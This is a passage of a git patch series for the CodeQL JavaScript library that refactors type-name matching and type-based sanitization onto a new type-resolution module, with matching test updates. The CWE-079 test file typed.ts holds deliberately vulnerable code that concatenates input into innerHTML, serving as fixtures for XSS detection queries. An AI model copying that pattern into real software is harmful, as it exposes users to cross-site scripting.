} + + /** + * Holds if this is a reference to the type with qualified name `globalName` relative to the global scope, + * or is declared as a subtype thereof, or is a union or intersection containing such a type. + */ + final predicate hasUnderlyingType(string globalName) { + UnderlyingTypes::nodeHasUnderlyingType(this, globalName) + } + + /** + * Holds if this is a reference to the type exported from `moduleName` under the name `exportedName`, + * or is declared as a subtype thereof, or is a union or intersection containing such a type. + */ + final predicate hasUnderlyingType(string moduleName, string exportedName) { + UnderlyingTypes::nodeHasUnderlyingType(this, moduleName, exportedName) + } /** Gets the statement in which this type appears. */ Stmt getEnclosingStmt() { none() } @@ -107,5 +133,5 @@ class TypeAnnotation extends @type_annotation, NodeInStmtContainer { * * This unfolds nullability modifiers and generic type applications. */ - DataFlow::ClassNode getClass() { none() } + final DataFlow::ClassNode getClass() { UnderlyingTypes::nodeHasUnderlyingClassType(this, result) } } diff --git a/javascript/ql/lib/semmle/javascript/TypeScript.qll b/javascript/ql/lib/semmle/javascript/TypeScript.qll index 4be331ed6a5..ab670700c24 100644 --- a/javascript/ql/lib/semmle/javascript/TypeScript.qll +++ b/javascript/ql/lib/semmle/javascript/TypeScript.qll @@ -1,4 +1,5 @@ import javascript +private import semmle.javascript.internal.UnderlyingTypes /** * A statement that defines a namespace, that is, a namespace declaration or enum declaration. @@ -575,10 +576,6 @@ class TypeExpr extends ExprOrType, @typeexpr, TypeAnnotation { override Function getEnclosingFunction() { result = ExprOrType.super.getEnclosingFunction() } override TopLevel getTopLevel() { result = ExprOrType.super.getTopLevel() } - - override DataFlow::ClassNode getClass() { - result.getAstNode() = this.getType().(ClassType).getClass() - } } /** @@ -698,58 +695,9 @@ class TypeAccess extends @typeaccess, TypeExpr, TypeRef { */ TypeName getTypeName() { ast_node_symbol(this, result) } - override predicate hasQualifiedName(string globalName) { - this.getTypeName().hasQualifiedName(globalName) - or - exists(LocalTypeAccess local | local = this | - not exists(local.getLocalTypeName()) and // Without a local type name, the type is looked up in the global scope. - globalName = local.getName() - ) - } - - override predicate hasQualifiedName(string moduleName, string exportedName) { - this.getTypeName().hasQualifiedName(moduleName, exportedName) - or - exists(ImportDeclaration imprt, ImportSpecifier spec | - moduleName = getImportName(imprt) and - spec = imprt.getASpecifier() - | - spec.getImportedName() = exportedName and - this = spec.getLocal().(TypeDecl).getLocalTypeName().getAnAccess() - or - (spec instanceof ImportNamespaceSpecifier or spec instanceof ImportDefaultSpecifier) and - this = - spec.getLocal().(LocalNamespaceDecl).getLocalNamespaceName().getAMemberAccess(exportedName) - ) - or - exists(ImportEqualsDeclaration imprt | - moduleName = getImportName(imprt.getImportedEntity()) and - this = - imprt - .getIdentifier() - .(LocalNamespaceDecl) - .getLocalNamespaceName() - .getAMemberAccess(exportedName) - ) - } - override string getAPrimaryQlClass() { result = "TypeAccess" } } -/** - * Gets a suitable name for the library imported by `imprt`. - * - * For relative imports, this is the snapshot-relative path to the imported module. - * For non-relative imports, it is the import path itself. - */ -private string getImportName(Import imprt) { - exists(string path | path = imprt.getImportedPathString() | - if path.regexpMatch("[./].*") - then result = imprt.getImportedModule().getFile().getRelativePath() - else result = path - ) -} - /** An identifier that is used as part of a type, such as `Date`. */ class LocalTypeAccess extends @local_type_access, TypeAccess, Identifier, LexicalAccess { override predicate isStringy() { this.getName() = "String" } @@ -822,14 +770,6 @@ class GenericTypeExpr extends @generic_typeexpr, TypeExpr { /** Gets the number of type arguments. This is always at least one. */ int getNumTypeArgument() { result = count(this.getATypeArgument()) } - override predicate hasQualifiedName(string globalName) { - this.getTypeAccess().hasQualifiedName(globalName) - } - - override predicate hasQualifiedName(string moduleName, string exportedName) { - this.getTypeAccess().hasQualifiedName(moduleName, exportedName) - } - override string getAPrimaryQlClass() { result = "GenericTypeExpr" } } diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll index dd6e1a7d915..89b7fe04997 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll @@ -237,7 +237,7 @@ module NestJS { CustomPipeClass() { exists(ClassDefinition cls | this = cls.flow() and - cls.getASuperInterface().hasQualifiedName("@nestjs/common", "PipeTransform") + cls.getASuperInterface().hasUnderlyingType("@nestjs/common", "PipeTransform") ) } diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected index 97730513195..7c015994aaf 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected @@ -1,10 +1,10 @@ -| bar.js:5:14:5:14 | x | x | +| bar.js:5:14:5:14 | x | ns.very.long.namespace | | bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo | -| bar.js:12:14:12:17 | iife | iife | +| bar.js:12:14:12:17 | iife | IIFE | | bar.js:12:14:12:21 | iife.Foo | IIFE.Foo | | closure.js:8:12:8:15 | goog | goog | | closure.js:8:12:8:19 | goog.net | goog.net | | closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType | -| closure.js:9:12:9:14 | net | net | +| closure.js:9:12:9:14 | net | goog.net | | closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType | | closure.js:10:12:10:19 | SomeType | goog.net.SomeType | diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql index 1b7ebfdd501..bb1de953169 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.ql @@ -1,3 +1,3 @@ import javascript -query string test_hasQualifiedName(JSDocNamedTypeExpr expr) { expr.hasQualifiedName(result) } +query string test_hasUnderlyingType(JSDocNamedTypeExpr expr) { expr.hasUnderlyingType(result) } diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected index 8ac3eea2be5..06afe15ee18 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected +++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected @@ -2,13 +2,14 @@ test_isString | tst.js:2:12:2:17 | string | test_isNumber | tst.js:3:12:3:17 | number | -test_QualifiedName +test_hasUnderlyingType | VarType | tst.js:9:13:9:19 | VarType | | boolean | tst.js:5:14:5:20 | boolean | | foo | tst.js:4:12:4:14 | foo | | foo.bar | tst.js:4:12:4:18 | foo.bar | | foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz | | number | tst.js:3:12:3:17 | number | +| number | tst.js:3:12:3:18 | number? | | string | tst.js:2:12:2:17 | string | test_ParameterType | tst.js:7:12:7:12 | x | tst.js:2:12:2:17 | string | diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql index 829435e3220..fd223ee5a53 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql +++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.ql @@ -4,7 +4,7 @@ query TypeAnnotation test_isString() { result.isString() } query TypeAnnotation test_isNumber() { result.isNumber() } -query TypeAnnotation test_QualifiedName(string name) { result.hasQualifiedName(name) } +query TypeAnnotation test_hasUnderlyingType(string name) { result.hasUnderlyingType(name) } query TypeAnnotation test_ParameterType(Parameter p) { result = p.getTypeAnnotation() } diff --git a/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql b/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql index e9d66a4afe0..b4d324377be 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql +++ b/javascript/ql/test/library-tests/TypeAnnotations/TSUnresolvedQualifiedName/QualifiedNames.ql @@ -1,5 +1,5 @@ import javascript from TypeAnnotation type, string mod, string name -where type.hasQualifiedName(mod, name) +where type.hasUnderlyingType(mod, name) select type, mod, name diff --git a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected index 5ee97e2dfb5..3781aea96e2 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected +++ b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.expected @@ -1,13 +1,15 @@ -hasQualifiedNameModule -| default-import | default | tst.ts:11:9:11:21 | DefaultImport | +hasUnderlyingTypeModule +| default-import | | tst.ts:11:9:11:21 | DefaultImport | +| global | UnresolvedName | tst.ts:12:9:12:22 | UnresolvedName | +| import-assign | | tst.ts:10:9:10:11 | asn | | import-assign | Foo | tst.ts:10:9:10:15 | asn.Foo | | named-import | Name1 | tst.ts:7:9:7:13 | Name1 | | named-import | Name1 | tst.ts:13:9:13:13 | Name1 | | named-import | Name1 | tst.ts:13:9:13:21 | Name1 | | named-import | Name2 | tst.ts:8:9:8:13 | Name2 | +| namespace-import | | tst.ts:9:9:9:17 | namespace | | namespace-import | Foo | tst.ts:9:9:9:21 | namespace.Foo | -| tst.ts | ExportedClass | relative.ts:4:8:4:20 | ExportedClass | -hasQualifiedNameGlobal +hasUnderlyingTypeGlobal | UnresolvedName | tst.ts:12:9:12:22 | UnresolvedName | paramExample | tst.ts:7:5:7:6 | x1 | diff --git a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql index 2b63e171f1e..199749ed3f6 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql +++ b/javascript/ql/test/library-tests/TypeScript/HasQualifiedNameFallback/Test.ql @@ -1,13 +1,13 @@ import javascript -query TypeAnnotation hasQualifiedNameModule(string moduleName, string member) { - result.hasQualifiedName(moduleName, member) +query TypeAnnotation hasUnderlyingTypeModule(string moduleName, string member) { + result.hasUnderlyingType(moduleName, member) } -query TypeAnnotation hasQualifiedNameGlobal(string globalName) { - result.hasQualifiedName(globalName) +query TypeAnnotation hasUnderlyingTypeGlobal(string globalName) { + result.hasUnderlyingType(globalName) } query Parameter paramExample() { - result.getTypeAnnotation().hasQualifiedName("named-import", "Name1") + result.getTypeAnnotation().hasUnderlyingType("named-import", "Name1") } diff --git a/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected b/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected index a9123b1ef55..e330bb897b7 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected +++ b/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected @@ -6,5 +6,4 @@ underlyingTypeNode | foo | | file://:0:0:0:0 | use moduleImport("foo").getMember("exports") | | foo | | foo.ts:1:8:1:10 | use moduleImport("foo").getMember("exports").getMember("default") | -| foo | Bar | foo.ts:3:1:5:1 | use moduleImport("foo").getMember("exports").getMember("Bar").getInstance() | | foo | Bar | foo.ts:3:12:3:12 | use moduleImport("foo").getMember("exports").getMember("Bar").getInstance() | From 9fd85c96881228cf0e6a2f1483465303980016c3 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:08:47 +0200 Subject: [PATCH 037/271] JS: Update jQuery model --- javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll b/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll index 4fad4ae1b05..70beadbfa57 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll @@ -60,11 +60,7 @@ private predicate neverReturnsJQuery(string name) { decl.getBaseName() = "jQuery" and decl.getName() = name | - not decl.getDocumentation() - .getATagByTitle("return") - .getType() - .getAnUnderlyingType() - .hasQualifiedName("jQuery") + not decl.getDocumentation().getATagByTitle("return").getType().hasUnderlyingType("jQuery") ) } @@ -414,6 +410,8 @@ module JQuery { this = DataFlow::moduleImport(["jquery", "zepto", "cash-dom"]) or this.hasUnderlyingType("JQueryStatic") + or + this.hasUnderlyingType("jquery", "") } } } From 2d21074598fe0b6682bb86bcc2c5f59623d7e042 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:09:21 +0200 Subject: [PATCH 038/271] JS: Use sanitizing primitive types in ViewComponentInput --- .../semmle/javascript/ViewComponentInput.qll | 30 +++---------------- 1 file changed, 4 insertions(+), 26 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll b/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll index bc80826de5c..7ab04ad5bd2 100644 --- a/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll +++ b/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll @@ -3,6 +3,7 @@ */ private import javascript +private import semmle.javascript.internal.TypeResolution /** * An input to a view component, such as React props. @@ -14,34 +15,11 @@ abstract class ViewComponentInput extends DataFlow::Node { private class ViewComponentInputAsThreatModelSource extends ThreatModelSource::Range instanceof ViewComponentInput { - ViewComponentInputAsThreatModelSource() { not isSafeType(this.asExpr().getType()) } + ViewComponentInputAsThreatModelSource() { + not TypeResolution::valueHasSanitizingPrimitiveType(this.asExpr()) + } final override string getThreatModel() { result = "view-component-input" } final override string getSourceType() { result = ViewComponentInput.super.getSourceType() } } - -private predicate isSafeType(Type t) { - t instanceof NumberLikeType - or - t instanceof BooleanLikeType - or - t instanceof UndefinedType - or - t instanceof NullType - or - t instanceof VoidType - or - hasSafeTypes(t, t.(UnionType).getNumElementType()) - or - isSafeType(t.(IntersectionType).getAnElementType()) -} - -/** Hold if the first `n` components of `t` are safe types. */ -private predicate hasSafeTypes(UnionType t, int n) { - isSafeType(t.getElementType(0)) and - n = 1 - or - isSafeType(t.getElementType(n - 1)) and - hasSafeTypes(t, n - 1) -} From 6fdd7feed46dcb3284ba371f18f8e17eb3fda82e Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:10:08 +0200 Subject: [PATCH 039/271] JS: Use sanitizing primitive type in Nest model --- .../lib/semmle/javascript/frameworks/Nest.qll | 19 +++++-------------- 1 file changed, 5 insertions(+), 14 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll index 89b7fe04997..ed3829d133f 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll @@ -5,6 +5,8 @@ import javascript private import semmle.javascript.security.dataflow.ServerSideUrlRedirectCustomizations private import semmle.javascript.dataflow.internal.PreCallGraphStep +private import semmle.javascript.internal.NameResolution +private import semmle.javascript.internal.TypeResolution /** * Provides classes and predicates for reasoning about [Nest](https://nestjs.com/). @@ -133,7 +135,9 @@ module NestJS { hasSanitizingPipe(this, false) or hasSanitizingPipe(this, true) and - isSanitizingType(this.getParameter().getType().unfold()) + // Note: we could consider types with class-validator decorators to be sanitized here, but instead we consider the root + // object to be tainted, but omit taint steps for the individual properties names that have sanitizing decorators. See ClassValidator.qll. + TypeResolution::isSanitizingPrimitiveType(this.getParameter().getTypeAnnotation()) } } @@ -209,19 +213,6 @@ module NestJS { dependsOnType = true } - /** - * Holds if a parameter of type `t` is considered sanitized, provided it has been checked by `ValidationPipe` - * (which relies on metadata emitted by the TypeScript compiler). - */ - private predicate isSanitizingType(Type t) { - t instanceof NumberType - or - t instanceof BooleanType - // - // Note: we could consider types with class-validator decorators to be sanitized here, but instead we consider the root - // object to be tainted, but omit taint steps for the individual properties names that have sanitizing decorators. See ClassValidator.qll. - } - /** * A user-defined pipe class, for example: * ```js From 4e44fdaa7b6570bfaf589c599e3393e0e5baabf9 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:10:32 +0200 Subject: [PATCH 040/271] JS: Use hasUnderlyingStringOrAnyType in Nest model --- .../ql/lib/semmle/javascript/frameworks/Nest.qll | 16 ++++------------ .../library-tests/frameworks/Nest/test.expected | 3 +++ 2 files changed, 7 insertions(+), 12 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll index ed3829d133f..d6bcb9ddd40 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll @@ -318,14 +318,6 @@ module NestJS { } } - private predicate isStringType(Type type) { - type instanceof StringType - or - type instanceof AnyType - or - isStringType(type.(PromiseType).getElementType().unfold()) - } - /** * A return value from a route handler, seen as an argument to `res.send()`. * @@ -344,10 +336,10 @@ module NestJS { ReturnValueAsResponseSend() { handler.isReturnValueReflected() and this = handler.getAReturn() and - // Only returned strings are sinks - not exists(Type type | - type = this.asExpr().getType() and - not isStringType(type.unfold()) + // Only returned strings are sinks. If we can find a type for the return value, it must be string-like. + not exists(NameResolution::Node type | + TypeResolution::valueHasType(this.asExpr(), type) and + not TypeResolution::hasUnderlyingStringOrAnyType(type) ) } diff --git a/javascript/ql/test/library-tests/frameworks/Nest/test.expected b/javascript/ql/test/library-tests/frameworks/Nest/test.expected index ff12967bec6..db49fc95eba 100644 --- a/javascript/ql/test/library-tests/frameworks/Nest/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Nest/test.expected @@ -71,6 +71,9 @@ responseSendArgument | local/customPipe.ts:37:16:37:31 | '' + unsanitized | | local/customPipe.ts:42:16:42:31 | '' + unsanitized | | local/customPipe.ts:48:16:48:31 | '' + unsanitized | +| local/routes.ts:7:12:7:16 | 'foo' | +| local/routes.ts:12:12:12:16 | 'foo' | +| local/routes.ts:17:12:17:16 | 'foo' | | local/routes.ts:32:31:32:31 | x | | local/routes.ts:33:31:33:38 | queryObj | | local/routes.ts:34:31:34:34 | name | From 6ac35f1c668b7fc74c2bddfd0d68f434c3843742 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:10:44 +0200 Subject: [PATCH 041/271] JS: Use in MissingAwait --- javascript/ql/src/Expressions/MissingAwait.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/Expressions/MissingAwait.ql b/javascript/ql/src/Expressions/MissingAwait.ql index d97c006a7bd..a16d31ee2a5 100644 --- a/javascript/ql/src/Expressions/MissingAwait.ql +++ b/javascript/ql/src/Expressions/MissingAwait.ql @@ -10,6 +10,7 @@ */ import javascript +private import semmle.javascript.internal.TypeResolution /** * Holds if `call` is a call to an `async` function. @@ -28,7 +29,7 @@ predicate isPromise(DataFlow::SourceNode node, boolean nullable) { isAsyncCall(node, nullable) or not isAsyncCall(node, _) and - node.asExpr().getType() instanceof PromiseType and + TypeResolution::valueHasPromiseType(node.asExpr()) and nullable = true } From 989402d7b7744a7ac427ea5c024eec755eb69789 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:11:49 +0200 Subject: [PATCH 042/271] JS: Remove some dependencies on type extraction --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 8 ++------ .../frameworks/data/internal/ApiGraphModelsSpecific.qll | 4 +--- 2 files changed, 3 insertions(+), 9 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 51d17091df1..3bb04f2686b 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -751,18 +751,14 @@ module API { MkModuleImport(string m) { imports(_, m) or - any(TypeAnnotation n).hasQualifiedName(m, _) - or - any(Type t).hasUnderlyingType(m, _) + any(TypeAnnotation n).hasUnderlyingType(m, _) } or MkClassInstance(DataFlow::ClassNode cls) { needsDefNode(cls) } or MkDef(DataFlow::Node nd) { rhs(_, _, nd) } or MkUse(DataFlow::Node nd) { use(_, _, nd) } or /** A use of a TypeScript type. */ MkTypeUse(string moduleName, string exportName) { - any(TypeAnnotation n).hasQualifiedName(moduleName, exportName) - or - any(Type t).hasUnderlyingType(moduleName, exportName) + any(TypeAnnotation n).hasUnderlyingType(moduleName, exportName) } or MkSyntheticCallbackArg(DataFlow::Node src, int bound, DataFlow::InvokeNode nd) { trackUseNode(src, true, bound, "").flowsTo(nd.getCalleeNode()) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll index a95c5a30cb6..5e9846e9ad5 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll @@ -60,9 +60,7 @@ predicate isPackageUsed(string package) { or package = any(JS::Import imp).getImportedPathString() or - any(JS::TypeName t).hasQualifiedName(package, _) - or - any(JS::TypeAnnotation t).hasQualifiedName(package, _) + any(JS::TypeAnnotation t).hasUnderlyingType(package, _) or exists(JS::PackageJson json | json.getPackageName() = package) } From 57811edc442309d6d7c7f3a836894ccb283cafe6 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:12:00 +0200 Subject: [PATCH 043/271] JS: Some test updates --- .../UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected | 4 ---- .../Security/CWE-079/UnsafeHtmlConstruction/typed.ts | 5 ++--- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected index 499cf6cce49..4f757d1a931 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected @@ -22,7 +22,6 @@ | main.js:111:37:111:37 | x | main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:112:24:112:26 | svg | cross-site scripting | | main.js:117:34:117:34 | s | main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | This markdown rendering which depends on $@ might later allow $@. | main.js:116:47:116:47 | s | library input | main.js:118:53:118:56 | html | cross-site scripting | | typed.ts:2:29:2:29 | s | typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:1:39:1:39 | s | library input | typed.ts:3:31:3:34 | html | cross-site scripting | -| typed.ts:8:40:8:40 | s | typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:6:43:6:43 | s | library input | typed.ts:8:29:8:52 | " ... /span>" | cross-site scripting | edges | jquery-plugin.js:11:27:11:31 | stuff | jquery-plugin.js:14:31:14:35 | stuff | provenance | | | jquery-plugin.js:11:34:11:40 | options | jquery-plugin.js:12:31:12:37 | options | provenance | | @@ -69,7 +68,6 @@ edges | main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | provenance | | | main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | provenance | | | typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | provenance | | -| typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | provenance | | nodes | jquery-plugin.js:11:27:11:31 | stuff | semmle.label | stuff | | jquery-plugin.js:11:34:11:40 | options | semmle.label | options | @@ -128,6 +126,4 @@ nodes | main.js:117:34:117:34 | s | semmle.label | s | | typed.ts:1:39:1:39 | s | semmle.label | s | | typed.ts:2:29:2:29 | s | semmle.label | s | -| typed.ts:6:43:6:43 | s | semmle.label | s | -| typed.ts:8:40:8:40 | s | semmle.label | s | subpaths diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts index 1c50460050c..8c166fb243f 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts +++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts @@ -3,9 +3,9 @@ export function basicHtmlConstruction(s: string) { // $ Source document.body.innerHTML = html; } -export function insertIntoCreatedDocument(s: string) { // $ Source +export function insertIntoCreatedDocument(s: string) { const newDoc = document.implementation.createHTMLDocument(""); - newDoc.body.innerHTML = "" + s + ""; // $ SPURIOUS: Alert - inserted into document disconnected from the main DOM. + newDoc.body.innerHTML = "" + s + ""; // OK - inserted into document disconnected from the main DOM. } export function id(s: string) { @@ -17,4 +17,3 @@ export function notVulnerable() { const html = "" + s + ""; document.body.innerHTML = html; } - \ No newline at end of file From 307715a5cdc2b2aa5831444c014d1eaf1b620daf Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 22 Apr 2025 08:47:00 +0200 Subject: [PATCH 044/271] JS: Use type resolution for CG augmentation --- javascript/ql/lib/semmle/javascript/Expr.qll | 7 ++++++- .../ql/lib/semmle/javascript/internal/TypeResolution.qll | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/Expr.qll b/javascript/ql/lib/semmle/javascript/Expr.qll index 8695c893f81..d7fe610b4f1 100644 --- a/javascript/ql/lib/semmle/javascript/Expr.qll +++ b/javascript/ql/lib/semmle/javascript/Expr.qll @@ -4,6 +4,7 @@ import javascript private import semmle.javascript.internal.CachedStages +private import semmle.javascript.internal.TypeResolution /** * A program element that is either an expression or a type annotation. @@ -1017,7 +1018,11 @@ class InvokeExpr extends @invokeexpr, Expr { * Note that the resolved function may be overridden in a subclass and thus is not * necessarily the actual target of this invocation at runtime. */ - Function getResolvedCallee() { result = this.getResolvedCalleeName().getImplementation() } + Function getResolvedCallee() { + TypeResolution::callTarget(this, result) + or + result = this.getResolvedCalleeName().getImplementation() + } } /** diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index 61293f29978..f3b90a642da 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -111,7 +111,7 @@ module TypeResolution { member.(AST::ValueNode).flow(), contents) } - private predicate callTarget(InvokeExpr call, Function target) { + predicate callTarget(InvokeExpr call, Function target) { exists(ClassDefinition cls | valueHasType(call.(NewExpr).getCallee(), trackClassValue(cls)) and target = cls.getConstructor().getBody() From f06b9a9b2bf0bac69c26efceec474ea4a6ef10eb Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 30 Apr 2025 14:00:50 +0200 Subject: [PATCH 045/271] JS: Add call graph test with types --- .../CallGraphs/AnnotatedTest/types.ts | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts new file mode 100644 index 00000000000..5081c4901e4 --- /dev/null +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts @@ -0,0 +1,16 @@ +namespace NS { + export class C { + /** name:NS.C.m */ + m() { } + } + + export class D extends C { } +} + +function t1(c: NS.C, d: NS.D) { + /** calls:NS.C.m */ + c.m(); + + /** calls:NS.C.m */ + d.m(); +} From 500291dd548292a951cb7d9d452855b77f503d5d Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 30 Apr 2025 14:01:11 +0200 Subject: [PATCH 046/271] JS: Hide shadowed inherited members --- .../javascript/internal/TypeResolution.qll | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index f3b90a642da..0b1739b67df 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -34,9 +34,9 @@ module TypeResolution { } /** - * Holds if `host` is a type with a `content` of type `memberType`. + * Holds if `host` is a type with a `content` of type `memberType`, not counting inherited members. */ - private predicate typeMember(Node host, DataFlow::Content content, Node memberType) { + private predicate typeOwnMember(Node host, DataFlow::Content content, Node memberType) { exists(MemberDeclaration decl | host = getMemberBase(decl) | exists(FieldDeclaration field | decl = field and @@ -46,8 +46,13 @@ module TypeResolution { or exists(MethodDeclaration method | decl = method and - content.asPropertyName() = method.getName() and + content.asPropertyName() = method.getName() + | + not method instanceof AccessorMethodDeclaration and memberType = method.getBody() // use the Function as representative for the function type + or + method instanceof GetterMethodDeclaration and + memberType = method.getBody().getReturnTypeAnnotation() ) or decl instanceof IndexSignature and @@ -72,8 +77,16 @@ module TypeResolution { memberType = type.getArgument(0) ) ) + } + + /** + * Holds if `host` is a type with a `content` of type `memberType`, possible due to inheritance. + */ + private predicate 